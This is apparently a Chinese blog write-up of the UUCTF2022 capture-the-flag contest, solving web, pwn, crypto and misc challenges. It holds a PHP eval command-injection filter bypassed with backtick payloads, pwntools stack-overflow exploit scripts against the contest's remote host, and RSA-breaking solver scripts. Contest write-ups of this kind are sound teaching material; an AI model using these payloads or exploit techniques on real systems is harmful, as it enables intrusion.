UUCTF2022-Writeup

UUCTF2022 Writeup

前言

这个比赛出题的难度很适中,质量很高,但是Web基本不太会(没肝hhhhhh),有一些题还可以的

Web

websign

页面上禁用了右键,根据提示在url中输入view-source:http://…即可

ez_rce

<?php
## 放弃把,小伙子,你真的不会RCE,何必在此纠结呢????????????
if(isset($_GET['code'])){
    $code=$_GET['code'];
    if (!preg_match('/sys|pas|read|file|ls|cat|tac|head|tail|more|less|php|base|echo|cp|\$|\*|\+|\^|scan|\.|local|current|chr|crypt|show_source|high|readgzfile|dirname|time|next|all|hex2bin|im|shell/i',$code)){
        echo '看看你输入的参数!!!不叫样子!!';echo '<br>';
        eval($code);
    }
    else{
        die("你想干什么?????????");
    }
}
else{
    echo "居然都不输入参数,可恶!!!!!!!!!";
    show_source(__FILE__);
}

经典的rce,过滤了很多命令,system函数这些基本上没办法用了,把 $ 也过滤掉了,也不好传马

符号里面还剩下一个反引号 ` ,在php里面会被解析为调用系统命令

如:

echo `ls`; = system('ls');

但是这里echo被过滤掉了,剩下的输出函数还有printf,var_dump这些

于是用printf,ls命令中间用 \ 隔开绕过waf,查看根目录下文件

/?code=printf(`l\s /`);
看看你输入的参数!!!不叫样子!!
bin boot dev etc fffffffffflagafag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var
/?code=printf(`c\at /fffffffffflagafag`);

PWN

babystack

比较基础的栈溢出题,没什么说的

from pwn import *

r = remote("1.14.71.254",28207)
backdoor_addr = 0x400726

payload = b'a' * (0x100 + 8) + p64(backdoor_addr)
r.sendline(payload)
r.interactive()

easystack

这个题原理是一样的,唯一的问题是read函数只接受一共0x10A个字节,我们一共需要覆盖0x100+8+4字节地址,所以最多就只能读入地址的后两个字节,前两个字节随机生成(不为00,00),需要满足其条件才能拿到shell,这里直接while 1(实际上是地址随机化,这里要动态调试的话反而小题大做)

from pwn import *

while 1:
	io = remote('1.14.71.254', 28097)
	payload = b'A'*(0x100+8) + p64(0x00001185)
	io.sendline(payload)
	if b"You are" in io.recv():
	    io.interactive()
	io.close()

Crypto

爱丽丝梦境的兔子

一只没有钥匙的兔子背着社会主义核心价值观跳过6排栅栏

根据题目提示,首先是Rabbit加密,这个没有密钥

找个在线网站解密就行

http://www.jsons.cn/rabbitencrypt/
公正公正和谐和谐平等诚信平等法治和谐公正友善公正公正诚信文明法治自由和谐和谐公正民主公正和谐公正友善敬业自由和谐公正法治和谐富强平等诚信平等文明民主法治友善平等公正诚信和谐法治自由法治诚信和谐平等法治公正平等法治敬业

接下来是社会主义核心价值观加密

解密得到

f3_sllt3acoCg0_!{mt}Wey

最后是6行的栅栏密码

flag{W3lc0me_to_tys3C!}

disparity_rsa

from Crypto.Util.number import *
import libnum
from flag import flag

n = getPrime(16) * getPrime(1024)
e = 65537
c = pow(libnum.s2n(flag), e, n)
print(n)
print(c)
"""
5766276392358749678465293140086098467966750231712371312128357014391999737216038752230724284342592823121355823795866483203180931048954335112770774107559486755364212210458976151334722695492171477074797849017986146274077476865962084775522903856595231226401087381140264069846311320790344977681853590320235273290951697

2045715881946911272235143200802867525029545408884378407157206152052553006168468197781701884100551265225998396305370344041310549543210998337911706435156837312343915033047602409702498958543942876869008345155456133353563984395357862622021564371486943574405858053628504628093173853945529577974028398631861979247502108s
"""

已知n和c的值,目前可以知道的信息是p,q中有一个数很小(<2^16),于是可以直接将n分解

factordb上面可以查,写循环脚本也行

解得n = 57191*100824891894856702601201118009583648965164977561371042858637845367138181483380929730739526924561431398670347148954669147299066829552802628259180187574259704417901631558444093499584247442642574479809722666468258052387219612630695122930581802321960294913554359621973108878080665153439264529066699136581547328967

解密脚本如下:

from Crypto.Util.number import long_to_bytes
from gmpy2 import invert

e = 65537
p = 57191
c = 2045715881946911272235143200802867525029545408884378407157206152052553006168468197781701884100551265225998396305370344041310549543210998337911706435156837312343915033047602409702498958543942876869008345155456133353563984395357862622021564371486943574405858053628504628093173853945529577974028398631861979247502108
q = 100824891894856702601201118009583648965164977561371042858637845367138181483380929730739526924561431398670347148954669147299066829552802628259180187574259704417901631558444093499584247442642574479809722666468258052387219612630695122930581802321960294913554359621973108878080665153439264529066699136581547328967
phiN = (p - 1)*(q - 1)
d = invert(e,phiN)
print(str(long_to_bytes(pow(c,d,p*q))))

Easy_base64

from flag import flag
import base64
assert flag[0:4] == "flag"
tmp=base64.b64encode(bytes(flag,"utf-8"))
flag=str(tmp)[2:-1]
for i in range(0,len(flag)-1):
    print(ord(flag[i]) ^ ord(flag[i+1]),end=" ")
#55 21 16 50 105 71 14 27 41 30 34 16 50 111 74 62 5 18 54 52 106 85 31 54 24 111 83 11 38 1 53 17 37 17 35 47 32 52 40 2 9 59 47 54 25 111 77 16 48 26 33 9 55 108 0

整个加密过程是将flag经过base64加密之后,逐字符与下一个字符异或,得到的结果按照ASCII码值输出

已知的是flag前4位是"flag",这一串经base64加密之后第一个字符是"Z"

于是解密脚本如下:

import base64

enc = [55 ,21 ,16, 50 ,105 ,71, 14, 27 ,41 ,30, 34 ,16, 50, 111 ,74 ,62, 5 ,18 ,54, 52, 106,85 ,31, 54 ,24, 111, 83, 11, 38, 1, 53, 17, 37, 17, 35, 47, 32, 52, 40, 2, 9, 59, 47, 54, 25, 111, 77, 16, 48, 26, 33, 9, 55, 108, 0]
flag = "Z"
for i in range(len(enc)):
    flag += chr(ord(flag[i])^enc[i])
print(base64.b64decode(flag))

unsafe_prime

from Crypto.Util.number import *
from flag import flag
import libnum
p=getPrime(1024)
n=p**3

c=pow(libnum.s2n(flag),e,n)
print(n)
print(c)

#1781066779141074297846071955037887396311182371062305797790413639302252321886055189043670187843106208315282055227397316083218930657040969292641990094428330517286511511741846106485971830443788363541411679523274683568732340113625424593194464460018629545968907529693143364870519531630721083893407011154181539445417439610805148961135948617691115328261432541033785402520757881586489819563221498111411690769065511011083021336493731421274742041131952523427183184133413677315203810963447656037908287875212013900845740870561508870574734100843624059414134156975073835607712519402938132401964708681236647568922173471703538744207491065165405594141287750705055447493380970194312139898574699147098202027540057477562090764694370368571887563631557761911842054442637038169316686266784299889397326811768646649462480349219937292894824766045607723468654723947999531346474969019631500665628522355198334827965770037487344994396753505248472283247731

#1402371150275079475353867962992356093684205278224746766691813462864343871795075217989508355749642716635931824907174189358797217546624305634264458802157933311315419673854405865092102322247505412453586251582022669511221048298234732642016439123525455296325766292112758881774720932499142635136210314142144509741404827421282969081272484330382868174392651681290127032351489627054643864671335712011990584326951285867375878235135547391155357814807654366986019707719726796289990920154227959213228064918435259919697047405788311280560319520593639968900649500117511665741073545430999580686455996145426173603547052710181735901020361145546892741579951501409108067297139928103329203429485237575169217432586580425019729120741661192297552519858305628835738911159460615968385837687234565509200392302553443089729906970894661310333276852803980265040679214814192141779678148895736682538612828771031493541256243879854624644771924477873876038496224

由题目已知n = p^3,于是p和q可以直接开方求出来

而在计算n的欧拉函数时,有以下推导过程:

若n=p**r,即n的质因数只有p,因此不与其互质的数必定含有p,这部分数的个数为p**r/p = p**(r-1)
因此与n互质的数为p**r - p**(r-1),即为其欧拉函数

解密脚本如下:

import libnum
from gmpy2 import iroot, invert
from libnum import n2s

e=65537
n = 1781066779141074297846071955037887396311182371062305797790413639302252321886055189043670187843106208315282055227397316083218930657040969292641990094428330517286511511741846106485971830443788363541411679523274683568732340113625424593194464460018629545968907529693143364870519531630721083893407011154181539445417439610805148961135948617691115328261432541033785402520757881586489819563221498111411690769065511011083021336493731421274742041131952523427183184133413677315203810963447656037908287875212013900845740870561508870574734100843624059414134156975073835607712519402938132401964708681236647568922173471703538744207491065165405594141287750705055447493380970194312139898574699147098202027540057477562090764694370368571887563631557761911842054442637038169316686266784299889397326811768646649462480349219937292894824766045607723468654723947999531346474969019631500665628522355198334827965770037487344994396753505248472283247731
c = 1402371150275079475353867962992356093684205278224746766691813462864343871795075217989508355749642716635931824907174189358797217546624305634264458802157933311315419673854405865092102322247505412453586251582022669511221048298234732642016439123525455296325766292112758881774720932499142635136210314142144509741404827421282969081272484330382868174392651681290127032351489627054643864671335712011990584326951285867375878235135547391155357814807654366986019707719726796289990920154227959213228064918435259919697047405788311280560319520593639968900649500117511665741073545430999580686455996145426173603547052710181735901020361145546892741579951501409108067297139928103329203429485237575169217432586580425019729120741661192297552519858305628835738911159460615968385837687234565509200392302553443089729906970894661310333276852803980265040679214814192141779678148895736682538612828771031493541256243879854624644771924477873876038496224
p = iroot(n,3)[0]
d = libnum.invmod(e,p**3-p**2)
print(n2s(int(pow(c,d,n))))

Impossible_RSA

import libnum
from Crypto.Util.number import getPrime
from flag import flag, e

p = getPrime(1024)
q = getPrime(1024)
n = p * q
assert e <= 500000
c = pow(libnum.s2n(flag), e, n)
leak1 = c % q
leak2 = c % p
leak3 = p + q
print("n =", n)
print("leak1 =", leak1)
print("leak2 =", leak2)
print("leak3 =", leak3)
# n = 21256406304024147327122699985764737895162788854942201173538004689536569610046157311527715126074775927977409773971656249943602454790380966869525211733301201659688694473703188427037879868522859419364680904585572399937639393418586498509580133474303442722716959873727260844993296681950092753897902540593927952622713860163782763263944291810729056735965535138964485886748344167499818148134252327820007439830749462775149754781930983094046362696040641091039506998835624218220892441813224657845627120344960554424765109502415773475619490661527184126374299883610442465428985757004551740482644952396990065188807827114495184096249
# leak1 = 8842431959638543756327530752221031675897458993985909403335303147413741167900365489182674478419510549838159493192002672500346433589707076289344572454304647803237654059883974235710442126617587691632375039292283285577033977676131772115877520248352227419433136507412485140428972344000541898060766721412300525883
# leak2 = 127414092867622693231378230621806169422569654246682818498761930473755998913688181327473434110121174292309611256339271412324673262030535400937563769685033472683498585742711576446343086462569783541192470920638935990937187809422965809986860709074542257475025562691683977493260026623616012846939417988284096473040
# leak3 = 293130152177150437492580785085598394773458388719469800871702200331766258900690595210759869625006484354799804558552583572062231998451041105464048317708732987121458633718573774164071597186461239762511364549980544029915308083867329707804739776241438307060614946195675715671343671137725809499387682363101164970886

phiN = (p - 1) * (q - 1) = p * q - (p + q) + 1 = n - leak3 + 1

另有n和leak3的值已知,可以根据一元二次方程求根公式分别求出p和q(p为较大值)

这之后可以利用leak1和leak2求出c,用中国剩余定理

解密脚本如下:

import gmpy2
from Crypto.Util.number import *
from gmpy2 import next_prime, invert, iroot

n = 21256406304024147327122699985764737895162788854942201173538004689536569610046157311527715126074775927977409773971656249943602454790380966869525211733301201659688694473703188427037879868522859419364680904585572399937639393418586498509580133474303442722716959873727260844993296681950092753897902540593927952622713860163782763263944291810729056735965535138964485886748344167499818148134252327820007439830749462775149754781930983094046362696040641091039506998835624218220892441813224657845627120344960554424765109502415773475619490661527184126374299883610442465428985757004551740482644952396990065188807827114495184096249
c_mod_p = 127414092867622693231378230621806169422569654246682818498761930473755998913688181327473434110121174292309611256339271412324673262030535400937563769685033472683498585742711576446343086462569783541192470920638935990937187809422965809986860709074542257475025562691683977493260026623616012846939417988284096473040
c_mod_q = 8842431959638543756327530752221031675897458993985909403335303147413741167900365489182674478419510549838159493192002672500346433589707076289344572454304647803237654059883974235710442126617587691632375039292283285577033977676131772115877520248352227419433136507412485140428972344000541898060766721412300525883
leak3 = 293130152177150437492580785085598394773458388719469800871702200331766258900690595210759869625006484354799804558552583572062231998451041105464048317708732987121458633718573774164071597186461239762511364549980544029915308083867329707804739776241438307060614946195675715671343671137725809499387682363101164970886
p = (leak3 + iroot((leak3 ** 2- 4*n),2)[0])//2
q = n // p

# p = 161562249983202700035527081166558786031731223261198195999535987465827171883730733359944156020947215855022510635343983292897557354440470230745496731228302894376018866016596714241754815953745113727125200716224341010140868299262202025976056483744622119807303134689795661748036502596285135565503272596613700276343
# q = 131567902193947737457053703919039608741727165458271604872166212865939087016959861850815713604059268499777293923208600279164674644010570874718551586480430092745439767701977059922316781232716126035386163833756203019774439784605127681828683292496816187253311811505880053923307168541440673933884409766487464694543
phi=(p-1)*(q-1)

def CRT(aList, mList):
    M = 1
    for i in mList:
        M = M * i
    x = 0
    for i in range(len(mList)):
        Mi = M // mList[i]
        Mi_inverse = gmpy2.invert(Mi, mList[i])
        x += aList[i] * Mi * Mi_inverse
    x = x % M
    return x

if __name__ == "__main__":
    cList = [c_mod_p,c_mod_q]
    nList = [p,q]
    c = CRT(cList, nList)
    print(c)
    e = 2
    while (e < 500000):
        e = next_prime(e)
        try:
            d = invert(e, phi)
        except:
            continue
        else:
            m = pow(c, d, n)
            s = str(long_to_bytes(m))
            if ("flag" in s) or ("NSS" in s):
                print(s)
                break

简单的数学

from Crypto.Util.number import *
import libnum
from flag import flag
e = 65537
p = getPrime(1024)
q = getPrime(1024)
n = p*q
k = getRandomNBitInteger(20)
c=pow(libnum.s2n(flag)*p+k*n,e,n)
print(n)
print(k)
print(c)
'''
25014963863951112347974440214066273048882503259160338255496299775995961351901571648895465031685356024238885233929337483853960374743565692563404769039019561050421788096283392820458449077490390195564801845037357811298274797645813808259301937466827199149702646030007667049110326436048932024335483846993690455310182909643176845321021209137548742937430940258997221937352498631551209822079559591857076641561863821325180714184637516327495056825200929458796589533188382551310078527193764723189551017851538326522660734366263229681834096022505151628784267513086843047784002223603418978827233728149657480292961095596638702578233

930971

21332979626247382647148222928588089621511790656630926013612529289276199934646065751526142377438330548167579869346422391777913473113228287023801928140946948279096562923728186040013041739656216576467903409087827269164764659636977412246373447194249307513950780025367450729199178539765363446611686879821064068711525543800807969264271445173422813211738947698740537888866771159352960700295474589207758542367193701819811125602611901272496121027126921035697692984486226677539547135753720071134145590716156803665486826826046693205511230289946748601632769198172373201803516681379607412290191420859001274915183415061321376410345
'''

根据已知信息,c = (m * p + k * n)^e mod n

展开之后,第一项为(m * p)^e,最后一项为(k * n)^e,这中间的每一项都有(k * n),这些对n进行mod运算均为0

等价于c = (m * p)^e mod n = (m * p)^e mod (p*q)

根据模运算规律,上式可以转换为c // p = m^e * p^(e - 1) mod q,即c和n都应该含有公因数p,求最大公因数即可得p

解密脚本如下:

from Crypto.Util.number import isPrime, long_to_bytes
from gmpy2 import gcd, invert

n = 25014963863951112347974440214066273048882503259160338255496299775995961351901571648895465031685356024238885233929337483853960374743565692563404769039019561050421788096283392820458449077490390195564801845037357811298274797645813808259301937466827199149702646030007667049110326436048932024335483846993690455310182909643176845321021209137548742937430940258997221937352498631551209822079559591857076641561863821325180714184637516327495056825200929458796589533188382551310078527193764723189551017851538326522660734366263229681834096022505151628784267513086843047784002223603418978827233728149657480292961095596638702578233
k = 930971
c = 21332979626247382647148222928588089621511790656630926013612529289276199934646065751526142377438330548167579869346422391777913473113228287023801928140946948279096562923728186040013041739656216576467903409087827269164764659636977412246373447194249307513950780025367450729199178539765363446611686879821064068711525543800807969264271445173422813211738947698740537888866771159352960700295474589207758542367193701819811125602611901272496121027126921035697692984486226677539547135753720071134145590716156803665486826826046693205511230289946748601632769198172373201803516681379607412290191420859001274915183415061321376410345
p = gcd(n,c)
q = n//p
# print(p)
# print(q)
phiN = (p-1)*(q-1)
d = invert(e,phiN)
m = pow(c,d,n)//p
s = str(long_to_bytes(m))
print(s)

Misc

王八快跑

一直点按钮就行

略略略来抓我呀(OSINT)

根据A图片上的经纬度位置可以确定地点在杭州市钱塘区(或者右上角的“钱塘驿…”来搜索)

B图片属实是看不出什么来,太模糊了

D图片注意细节,在从左往右数第二高的楼上有几个小字“达高科·生命园”,这时候再看拍照时间为17:15,而太阳光最强烈的地方在照相者的前方,可以推断出题人面向正西,酒店的位置大概在生命园的东北方向,一个街区以外

最终锁定为锦江都城酒店

搬好小板凳听故事

先base64解密,最下面的flag中为16进制数据,解码得flag

Where is flag?

在wireshark里面导出http对象,这里面有一个压缩包where is fl4g.zip,解压后得到的文件没有格式

拖到winhex里面去看,发现有IHDR块标记而文件头损坏,即损坏的png文件

补充了文件头之后发现是个二维码,用CQR工具扫码得到夹杂着flag is not here!!!的一串字符,保存下来之后拖到sublimetext里面,发现是零宽度字符

考虑零宽度字符隐写,在线网站解密即可

  • 1
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值